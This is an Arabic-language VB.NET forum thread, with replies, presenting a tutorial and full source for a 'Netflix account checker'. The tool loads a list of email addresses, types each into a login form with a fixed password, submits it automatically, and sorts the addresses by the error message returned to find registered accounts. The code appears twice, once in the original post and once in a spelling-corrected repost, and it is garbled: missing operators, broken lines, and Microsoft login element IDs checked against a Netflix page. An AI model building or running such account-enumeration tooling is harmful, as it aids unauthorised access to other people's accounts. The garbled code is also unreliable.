منتدى فيجوال بيسك لكل العرب | منتدى المبرمجين العرب
[مثال] طريقه صنع برنمنج فحص متحات نت فيلكس - نسخة قابلة للطباعة

+- منتدى فيجوال بيسك لكل العرب | منتدى المبرمجين العرب (http://vb4arb.com/vb)
+-- قسم : قسم لغة الفيجوال بيسك VB.NET (http://vb4arb.com/vb/forumdisplay.php?fid=182)
+--- قسم : قسم امثلة ومشاريع VB.NET (http://vb4arb.com/vb/forumdisplay.php?fid=188)
+--- الموضوع : [مثال] طريقه صنع برنمنج فحص متحات نت فيلكس (/showthread.php?tid=34659)



طريقه صنع برنمنج فحص متحات نت فيلكس - محمد ايمن - 08-05-20

السلام عليكم ورحمت الله وبركتوه
ا=
شرح عن صنع برنمج فحص متحان نت فيلكس
بس اولن صلي علي النبيّّّّّّّّّّّّّّّّّّّّّّ
-----------------------------------------
اولان نحتاج ادوات
وهي كا التالي
(ListBox3)
(Button3)
(Timer2)
(WebBrowser1)
(TextBox1)
--------------------------
اولن نسمي بوتنو1 ب اسم Add List
وهو المسؤل ب اضافاه ال لستات الموجود فيها المتحات
---------------------------------
ثاني زر نسميهStart
-----------------------------------------
و الثالثStop
----------------------------------
ونكتب جو ال WebBrowser1 اسم الموقع المطلوب فحص متحاتو زي كد
https://www.netflix.com/
------------------------------------------
ونضغط علي تايمر 2
هنلاقي جمله اسمهاlnterval
وجمبها رقم 100او1000
احنا نخليه بدل 100او1000نخليه 2000
و تايمر1 نخليها فيه 100
------------------------------------------------------
وقت اضافه ال اكود
اولان نبدا ب كود تايمر1 وهو كا التالي
PHP كود :
   On Error Resume Next
        If Me
.WebBrowser1.ReadyState <> WebBrowserReadyState.Complete _
          AndAlso WebBrowser1
.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText <> "" Then
            Timer1
.Stop()
 
           TextBox1.Text = (WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText)
 
           TextBox1.Text WebBrowser1.Document.GetElementById("idTD_LockoutError").InnerText
            TextBox1
.Text WebBrowser1.Document.GetElementById("idTd_PWD_ErrorMsg_Username").InnerText
            Select 
Case WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText
                Case 
"أدخل"
 
                   ListBox2.Items.Add(ListBox1.SelectedItem)
 
                   TextBox1.Text Nothing
                Case 
"لاينتمي الاميل الئ اي حساب"
 
                   ListBox3.Items.Add(ListBox1.SelectedItem "@Hotmail")
 
                   TextBox1.Text Nothing
                Case 
"خطا في التسجيل"
 
                   TextBox1.Text Nothing
            End Select
            WebBrowser1
.Navigate("netflix.com")
 
           ListBox1.SelectedIndex += 1
        End 
If 
و الان كود تايمر2
PHP كود :
   Try
            Dim i 
As Integer
            i 
ListBox1.SelectedIndex
            i 
1
            If i 
ListBox1.Items.Count 1 Then i 0
            ListBox1
.SelectedIndex i
        Catch ex 
As Exception

        End 
Try 
و الان كود Add List
PHP كود :
Dim Hussaien_Ahmed As New OpenFileDialog
        Hussaien_Ahmed
.Filter "Text files (*.txt)|*.txt|All files (*.*)|*.*"
 
       Hussaien_Ahmed.Title "File txt"
 
       If Hussaien_Ahmed.ShowDialog Windows.Forms.DialogResult.OK Then
            Dim lines
() As String IO.File.ReadAllLines(Hussaien_Ahmed.FileName)
 
           ListBox1.Items.AddRange(lines)
 
       End If 
والان كود Imports او الفضاء وهو
PHP كود :
Imports System.IO
Imports System
.Net 
و الان كود Start
PHP كود :
Timer1.Start()
 
       Timer2.Start() 
و اخر كود وهو كود Stop
PHP كود :
Timer1.Stop()
 
       Timer2.Stop() 
ودي ال اكود ب الكامل لو عيز تمسح كل ال اكود و تحطها 
PHP كود :
Imports System.IO
Imports System
.Net

Public Class Form1
    Private Sub ListBox1_SelectedIndexChanged
(ByVal sender As System.ObjectByVal e As System.EventArgsHandles ListBox1.SelectedIndexChanged
        If WebBrowser1
.ReadyState WebBrowserReadyState.Complete Then
            On Error Resume Next
            For Each ALI 
As HtmlElement In WebBrowser1.Document.GetElementsByTagName("Input")
 
               If ALI.GetAttribute("type") = "text" Then
                    ALI
.InnerText ListBox2.SelectedItem
                End 
If
 
           Next
            For Each A 
As HtmlElement In WebBrowser1.Document.GetElementsByTagName("Input")
 
               If A.GetAttribute("type") = "password" Then
                    A
.InnerText "232DSWE2W"
 
               End If
 
           Next
            WebBrowser1
.Document.GetElementById("login").InvokeMember("Click")
 
           Timer1.Start()
 
       End If

 
   End Sub

    Private Sub Timer1_Tick
(ByVal sender As System.ObjectByVal e As System.EventArgsHandles Timer1.Tick
        On Error Resume Next
        If Me
.WebBrowser1.ReadyState <> WebBrowserReadyState.Complete _
          AndAlso WebBrowser1
.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText <> "" Then
            Timer1
.Stop()
 
           TextBox1.Text = (WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText)
 
           TextBox1.Text WebBrowser1.Document.GetElementById("idTD_LockoutError").InnerText
            TextBox1
.Text WebBrowser1.Document.GetElementById("idTd_PWD_ErrorMsg_Username").InnerText
            Select 
Case WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText
                Case 
"أدخل"
 
                   ListBox2.Items.Add(ListBox1.SelectedItem)
 
                   TextBox1.Text Nothing
                Case 
"لاينتمي الاميل الئ اي حساب"
 
                   ListBox3.Items.Add(ListBox1.SelectedItem "@Hotmail")
 
                   TextBox1.Text Nothing
                Case 
"خطا في التسجيل"
 
                   TextBox1.Text Nothing
            End Select
            WebBrowser1
.Navigate("netflix.com")
 
           ListBox1.SelectedIndex += 1
        End 
If

 
   End Sub

    Private Sub Timer2_Tick
(ByVal sender As System.ObjectByVal e As System.EventArgsHandles Timer2.Tick
        Try
            Dim i 
As Integer
            i 
ListBox1.SelectedIndex
            i 
1
            If i 
ListBox1.Items.Count 1 Then i 0
            ListBox1
.SelectedIndex i
        Catch ex 
As Exception

        End 
Try

 
   End Sub

    Private Sub Button1_Click
(ByVal sender As System.ObjectByVal e As System.EventArgsHandles Button1.Click
        Dim Hussaien_Ahmed 
As New OpenFileDialog
        Hussaien_Ahmed
.Filter "Text files (*.txt)|*.txt|All files (*.*)|*.*"
 
       Hussaien_Ahmed.Title "File txt"
 
       If Hussaien_Ahmed.ShowDialog Windows.Forms.DialogResult.OK Then
            Dim lines
() As String IO.File.ReadAllLines(Hussaien_Ahmed.FileName)
 
           ListBox1.Items.AddRange(lines)
 
       End If

 
   End Sub

    Private Sub Button2_Click
(ByVal sender As System.ObjectByVal e As System.EventArgsHandles Button2.Click
        Timer1
.Start()
 
       Timer2.Start()

 
   End Sub

    Private Sub Button3_Click
(ByVal sender As System.ObjectByVal e As System.EventArgsHandles Button3.Click
        Timer1
.Stop()
 
       Timer2.Stop()
 
   End Sub
End 
Class 
كلمت شكر تكفي



RE: طريقه صنع برنمنج فحص متحات نت فيلكس - alraed - 12-05-20

أستاذي الكريم ممكن ترفع السورس كود المشروع ؟


RE: طريقه صنع برنمنج فحص متحات نت فيلكس - محمد ايمن - 12-05-20

(12-05-20, 04:30 PM)alraed كتب : أستاذي الكريم ممكن ترفع السورس كود المشروع ؟

اسف ولله مش فاهم اه المطلوب بلضبط هل هو السورس كود ام  المشروع 


RE: طريقه صنع برنمنج فحص متحات نت فيلكس - Abdulrahman2006 - 15-05-20

(12-05-20, 09:31 PM)محمد ايمن كتب :
(12-05-20, 04:30 PM)alraed كتب : أستاذي الكريم ممكن ترفع السورس كود المشروع ؟

اسف ولله مش فاهم اه المطلوب بلضبط هل هو السورس كود ام  المشروع 

ارفع المشروع جاهز


RE: طريقه صنع برنمنج فحص متحات نت فيلكس - rakan93 - 18-01-21

الله يعطيك العافية وبارك الله فيك


RE: طريقه صنع برنمنج فحص متحات نت فيلكس - مصمم هاوي - 19-01-21

(08-05-20, 07:26 AM)محمد ايمن كتب :
السلام عليكم ورحمة الله وبركاته
ا=
شرح عن صنع برنامج فحص متحان نت فيلكس
بس اولا صلي علي النبيّّّّّّّّّّّّّّّّّّّّّّ
-----------------------------------------
اولا: نحتاج ادوات
وهي كالتالي
(ListBox3)
(Button3)
(Timer2)
(WebBrowser1)
(TextBox1)
--------------------------
اولا: نسمي بوتن1 باسم Add List
وهو المسؤول عن إضافة  اللستات الموجود فيها المتحات
---------------------------------
ثاني زر نسميهStart
-----------------------------------------
و الثالثStop
----------------------------------
ونكتب جو ال WebBrowser1 اسم الموقع المطلوب فحص متحاتو زي كد
https://www.netflix.com/
------------------------------------------
ونضغط علي تايمر 2
هنلاقي جمله اسمهاlnterval
وجمبها رقم 100او1000
احنا نخليه بدل 100او1000نخليه 2000
و تايمر1 نخليها فيه 100
------------------------------------------------------
وقت اضافه الاكواد
اولا نبدا بكود تايمر1 وهو كالتالي
PHP كود :
   On Error Resume Next
        If Me
.WebBrowser1.ReadyState <> WebBrowserReadyState.Complete _
          AndAlso WebBrowser1
.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText <> "" Then
            Timer1
.Stop()
 
           TextBox1.Text = (WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText)
 
           TextBox1.Text WebBrowser1.Document.GetElementById("idTD_LockoutError").InnerText
            TextBox1
.Text WebBrowser1.Document.GetElementById("idTd_PWD_ErrorMsg_Username").InnerText
            Select 
Case WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText
                Case 
"أدخل"
 
                   ListBox2.Items.Add(ListBox1.SelectedItem)
 
                   TextBox1.Text Nothing
                Case 
"لاينتمي الاميل الئ اي حساب"
 
                   ListBox3.Items.Add(ListBox1.SelectedItem "@Hotmail")
 
                   TextBox1.Text Nothing
                Case 
"خطا في التسجيل"
 
                   TextBox1.Text Nothing
            End Select
            WebBrowser1
.Navigate("netflix.com")
 
           ListBox1.SelectedIndex += 1
        End 
If 
و الان كود تايمر2
PHP كود :
   Try
            Dim i 
As Integer
            i 
ListBox1.SelectedIndex
            i 
1
            If i 
ListBox1.Items.Count 1 Then i 0
            ListBox1
.SelectedIndex i
        Catch ex 
As Exception

        End 
Try 
و الان كود Add List
PHP كود :
Dim Hussaien_Ahmed As New OpenFileDialog
        Hussaien_Ahmed
.Filter "Text files (*.txt)|*.txt|All files (*.*)|*.*"
 
       Hussaien_Ahmed.Title "File txt"
 
       If Hussaien_Ahmed.ShowDialog Windows.Forms.DialogResult.OK Then
            Dim lines
() As String IO.File.ReadAllLines(Hussaien_Ahmed.FileName)
 
           ListBox1.Items.AddRange(lines)
 
       End If 
والان كود Imports او الفضاء وهو
PHP كود :
Imports System.IO
Imports System
.Net 
و الان كود Start
PHP كود :
Timer1.Start()
 
       Timer2.Start() 
و اخر كود وهو كود Stop
PHP كود :
Timer1.Stop()
 
       Timer2.Stop() 
ودي الاكواد بالكامل لو عايز تمسح كل الاكواد و تحطها 
PHP كود :
Imports System.IO
Imports System
.Net

Public Class Form1
    Private Sub ListBox1_SelectedIndexChanged
(ByVal sender As System.ObjectByVal e As System.EventArgsHandles ListBox1.SelectedIndexChanged
        If WebBrowser1
.ReadyState WebBrowserReadyState.Complete Then
            On Error Resume Next
            For Each ALI 
As HtmlElement In WebBrowser1.Document.GetElementsByTagName("Input")
 
               If ALI.GetAttribute("type") = "text" Then
                    ALI
.InnerText ListBox2.SelectedItem
                End 
If
 
           Next
            For Each A 
As HtmlElement In WebBrowser1.Document.GetElementsByTagName("Input")
 
               If A.GetAttribute("type") = "password" Then
                    A
.InnerText "232DSWE2W"
 
               End If
 
           Next
            WebBrowser1
.Document.GetElementById("login").InvokeMember("Click")
 
           Timer1.Start()
 
       End If

 
   End Sub

    Private Sub Timer1_Tick
(ByVal sender As System.ObjectByVal e As System.EventArgsHandles Timer1.Tick
        On Error Resume Next
        If Me
.WebBrowser1.ReadyState <> WebBrowserReadyState.Complete _
          AndAlso WebBrowser1
.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText <> "" Then
            Timer1
.Stop()
 
           TextBox1.Text = (WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText)
 
           TextBox1.Text WebBrowser1.Document.GetElementById("idTD_LockoutError").InnerText
            TextBox1
.Text WebBrowser1.Document.GetElementById("idTd_PWD_ErrorMsg_Username").InnerText
            Select 
Case WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText
                Case 
"أدخل"
 
                   ListBox2.Items.Add(ListBox1.SelectedItem)
 
                   TextBox1.Text Nothing
                Case 
"لاينتمي الاميل الئ اي حساب"
 
                   ListBox3.Items.Add(ListBox1.SelectedItem "@Hotmail")
 
                   TextBox1.Text Nothing
                Case 
"خطا في التسجيل"
 
                   TextBox1.Text Nothing
            End Select
            WebBrowser1
.Navigate("netflix.com")
 
           ListBox1.SelectedIndex += 1
        End 
If

 
   End Sub

    Private Sub Timer2_Tick
(ByVal sender As System.ObjectByVal e As System.EventArgsHandles Timer2.Tick
        Try
            Dim i 
As Integer
            i 
ListBox1.SelectedIndex
            i 
1
            If i 
ListBox1.Items.Count 1 Then i 0
            ListBox1
.SelectedIndex i
        Catch ex 
As Exception

        End 
Try

 
   End Sub

    Private Sub Button1_Click
(ByVal sender As System.ObjectByVal e As System.EventArgsHandles Button1.Click
        Dim Hussaien_Ahmed 
As New OpenFileDialog
        Hussaien_Ahmed
.Filter "Text files (*.txt)|*.txt|All files (*.*)|*.*"
 
       Hussaien_Ahmed.Title "File txt"
 
       If Hussaien_Ahmed.ShowDialog Windows.Forms.DialogResult.OK Then
            Dim lines
() As String IO.File.ReadAllLines(Hussaien_Ahmed.FileName)
 
           ListBox1.Items.AddRange(lines)
 
       End If

 
   End Sub

    Private Sub Button2_Click
(ByVal sender As System.ObjectByVal e As System.EventArgsHandles Button2.Click
        Timer1
.Start()
 
       Timer2.Start()

 
   End Sub

    Private Sub Button3_Click
(ByVal sender As System.ObjectByVal e As System.EventArgsHandles Button3.Click
        Timer1
.Stop()
 
       Timer2.Stop()
 
   End Sub
End 
Class 
كلمة شكر تكفي

جهد متميز
وعذرا لم أستطع قراءة كتابتك لوجود كثير من الأخطاء الإملائية؛ وعليه اصلحت الذي استطعت قراءته فقط.